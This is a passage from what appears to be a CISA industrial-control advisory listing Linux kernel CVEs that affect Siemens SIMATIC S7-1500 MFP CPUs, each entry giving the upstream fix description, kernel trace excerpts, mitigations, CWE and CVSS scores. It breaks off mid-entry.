<p>In the Linux kernel, the following vulnerability has been resolved: remoteproc: core: Fix ida_free call while not allocated In the rproc_alloc() function, on error, put_device(&amp;rproc-&gt;dev) is called, leading to the call of the rproc_type_release() function. An error can occurs before ida_alloc is called. In such case in rproc_type_release(), the condition (rproc-&gt;index &gt;= 0) is true as rproc-&gt;index has been initialized to 0. ida_free() is called reporting a warning: [ 4.181906] WARNING: CPU: 1 PID: 24 at lib/idr.c:525 ida_free+0x100/0x164 [ 4.186378] stm32-display-dsi 5a000000.dsi: Fixed dependency cycle(s) with /soc/dsi@5a000000/panel@0 [ 4.188854] ida_free called for id=0 which is not allocated. [ 4.198256] mipi-dsi 5a000000.dsi.0: Fixed dependency cycle(s) with /soc/dsi@5a000000 [ 4.203556] Modules linked in: panel_orisetech_otm8009a dw_mipi_dsi_stm(+) gpu_sched dw_mipi_dsi stm32_rproc stm32_crc32 stm32_ipcc(+) optee(+) [ 4.224307] CPU: 1 UID: 0 PID: 24 Comm: kworker/u10:0 Not tainted 6.12.0 #442 [ 4.231481] Hardware name: STM32 (Device Tree Support) [ 4.236627] Workqueue: events_unbound deferred_probe_work_func [ 4.242504] Call trace: [ 4.242522] unwind_backtrace from show_stack+0x10/0x14 [ 4.250218] show_stack from dump_stack_lvl+0x50/0x64 [ 4.255274] dump_stack_lvl from __warn+0x80/0x12c [ 4.260134] __warn from warn_slowpath_fmt+0x114/0x188 [ 4.265199] warn_slowpath_fmt from ida_free+0x100/0x164 [ 4.270565] ida_free from rproc_type_release+0x38/0x60 [ 4.275832] rproc_type_release from device_release+0x30/0xa0 [ 4.281601] device_release from kobject_put+0xc4/0x294 [ 4.286762] kobject_put from rproc_alloc.part.0+0x208/0x28c [ 4.292430] rproc_alloc.part.0 from devm_rproc_alloc+0x80/0xc4 [ 4.298393] devm_rproc_alloc from stm32_rproc_probe+0xd0/0x844 [stm32_rproc] [ 4.305575] stm32_rproc_probe [stm32_rproc] from platform_probe+0x5c/0xbc Calling ida_alloc earlier in rproc_alloc ensures that the rproc-&gt;index is properly set.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-58056">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-58058</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ubifs: skip dumping tnc tree when zroot is null Clearing slab cache will free all znode in memory and make c-&gt;zroot.znode = NULL, then dumping tnc tree will access c-&gt;zroot.znode which cause null pointer dereference.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-58058">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-58061</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: prohibit deactivating all links In the internal API this calls this is a WARN_ON, but that should remain since internally we want to know about bugs that may cause this. Prevent deactivating all links in the debugfs write directly.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-58061">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-58086</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: drm/v3d: Stop active perfmon if it is being destroyed If the active performance monitor (`v3d-&gt;active_perfmon`) is being destroyed, stop it first. Currently, the active perfmon is not stopped during destruction, leaving the `v3d-&gt;active_perfmon` pointer stale. This can lead to undefined behavior and instability. This patch ensures that the active perfmon is stopped before being destroyed, aligning with the behavior introduced in commit 7d1fd3638ee3 ("drm/v3d: Stop the active perfmon before being destroyed").</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-58086">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21645</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: platform/x86/amd/pmc: Only disable IRQ1 wakeup where i8042 actually enabled it Wakeup for IRQ1 should be disabled only in cases where i8042 had actually enabled it, otherwise "wake_depth" for this IRQ will try to drop below zero and there will be an unpleasant WARN() logged: kernel: atkbd serio0: Disabling IRQ1 wakeup source to avoid platform firmware bug kernel: ------------[ cut here ]------------ kernel: Unbalanced IRQ 1 wake disable kernel: WARNING: CPU: 10 PID: 6431 at kernel/irq/manage.c:920 irq_set_irq_wake+0x147/0x1a0 The PMC driver uses DEFINE_SIMPLE_DEV_PM_OPS() to define its dev_pm_ops which sets amd_pmc_suspend_handler() to the .suspend, .freeze, and .poweroff handlers. i8042_pm_suspend(), however, is only set as the .suspend handler. Fix the issue by call PMC suspend handler only from the same set of dev_pm_ops handlers as i8042_pm_suspend(), which currently means just the .suspend handler. To reproduce this issue try hibernating (S4) the machine after a fresh boot without putting it into s2idle first. [ij: edited the commit message.]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21645">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21648</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: conntrack: clamp maximum hashtable size to INT_MAX Use INT_MAX as maximum size for the conntrack hashtable. Otherwise, it is possible to hit WARN_ON_ONCE in __kvmalloc_node_noprof() when resizing hashtable because __GFP_NOWARN is unset. See: 0708a0afe291 ("mm: Consider __GFP_NOWARN flag for oversized kvmalloc() calls") Note: hashtable resize is only possible from init_netns.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21648">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/789.html">CWE-789 Memory Allocation with Excessive Size Value</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21655</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: io_uring/eventfd: ensure io_eventfd_signal() defers another RCU period io_eventfd_do_signal() is invoked from an RCU callback, but when dropping the reference to the io_ev_fd, it calls io_eventfd_free() directly if the refcount drops to zero. This isn't correct, as any potential freeing of the io_ev_fd should be deferred another RCU grace period. Just call io_eventfd_put() rather than open-code the dec-and-test and free, which will correctly defer it another RCU grace period.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21655">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/362.html">CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21676</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: fec: handle page_pool_dev_alloc_pages error The fec_enet_update_cbd function calls page_pool_dev_alloc_pages but did not handle the case when it returned NULL. There was a WARN_ON(!new_page) but it would still proceed to use the NULL pointer and then crash. This case does seem somewhat rare but when the system is under memory pressure it can happen. One case where I can duplicate this with some frequency is when writing over a smbd share to a SATA HDD attached to an imx6q. Setting /proc/sys/vm/min_free_kbytes to higher values also seems to solve the problem for my test case. But it still seems wrong that the fec driver ignores the memory allocation error and can crash. This commit handles the allocation error by dropping the current packet.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21676">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21682</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: eth: bnxt: always recalculate features after XDP clearing, fix null-deref Recalculate features when XDP is detached. Before: # ip li set dev eth0 xdp obj xdp_dummy.bpf.o sec xdp # ip li set dev eth0 xdp off # ethtool -k eth0 | grep gro rx-gro-hw: off [requested on] After: # ip li set dev eth0 xdp obj xdp_dummy.bpf.o sec xdp # ip li set dev eth0 xdp off # ethtool -k eth0 | grep gro rx-gro-hw: on The fact that HW-GRO doesn't get re-enabled automatically is just a minor annoyance. The real issue is that the features will randomly come back during another reconfiguration which just happens to invoke netdev_update_features(). The driver doesn't handle reconfiguring two things at a time very robustly. Starting with commit 98ba1d931f61 ("bnxt_en: Fix RSS logic in __bnxt_reserve_rings()") we only reconfigure the RSS hash table if the "effective" number of Rx rings has changed. If HW-GRO is enabled "effective" number of rings is 2x what user sees. So if we are in the bad state, with HW-GRO re-enablement "pending" after XDP off, and we lower the rings by / 2 - the HW-GRO rings doing 2x and the ethtool -L doing / 2 may cancel each other out, and the: if (old_rx_rings != bp-&gt;hw_resc.resv_rx_rings &amp;&amp; condition in __bnxt_reserve_rings() will be false. The RSS map won't get updated, and we'll crash with: BUG: kernel NULL pointer dereference, address: 0000000000000168 RIP: 0010:__bnxt_hwrm_vnic_set_rss+0x13a/0x1a0 bnxt_hwrm_vnic_rss_cfg_p5+0x47/0x180 __bnxt_setup_vnic_p5+0x58/0x110 bnxt_init_nic+0xb72/0xf50 __bnxt_open_nic+0x40d/0xab0 bnxt_open_nic+0x2b/0x60 ethtool_set_channels+0x18c/0x1d0 As we try to access a freed ring. The issue is present since XDP support was added, really, but prior to commit 98ba1d931f61 ("bnxt_en: Fix RSS logic in __bnxt_reserve_rings()") it wasn't causing major issues.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21682">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21702</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: pfifo_tail_enqueue: Drop new packet when sch-&gt;limit == 0 Expected behaviour: In case we reach scheduler's limit, pfifo_tail_enqueue() will drop a packet in scheduler's queue and decrease scheduler's qlen by one. Then, pfifo_tail_enqueue() enqueue new packet and increase scheduler's qlen by one. Finally, pfifo_tail_enqueue() return `NET_XMIT_CN` status code. Weird behaviour: In case we set `sch-&gt;limit == 0` and trigger pfifo_tail_enqueue() on a scheduler that has no packet, the 'drop a packet' step will do nothing. This means the scheduler's qlen still has value equal 0. Then, we continue to enqueue new packet and increase scheduler's qlen by one. In summary, we can leverage pfifo_tail_enqueue() to increase qlen by one and return `NET_XMIT_CN` status code. The problem is: Let's say we have two qdiscs: Qdisc_A and Qdisc_B. - Qdisc_A's type must have '-&gt;graft()' function to create parent/child relationship. Let's say Qdisc_A's type is `hfsc`. Enqueue packet to this qdisc will trigger `hfsc_enqueue`. - Qdisc_B's type is pfifo_head_drop. Enqueue packet to this qdisc will trigger `pfifo_tail_enqueue`. - Qdisc_B is configured to have `sch-&gt;limit == 0`. - Qdisc_A is configured to route the enqueued's packet to Qdisc_B. Enqueue packet through Qdisc_A will lead to: - hfsc_enqueue(Qdisc_A) -&gt; pfifo_tail_enqueue(Qdisc_B) - Qdisc_B-&gt;q.qlen += 1 - pfifo_tail_enqueue() return `NET_XMIT_CN` - hfsc_enqueue() check for `NET_XMIT_SUCCESS` and see 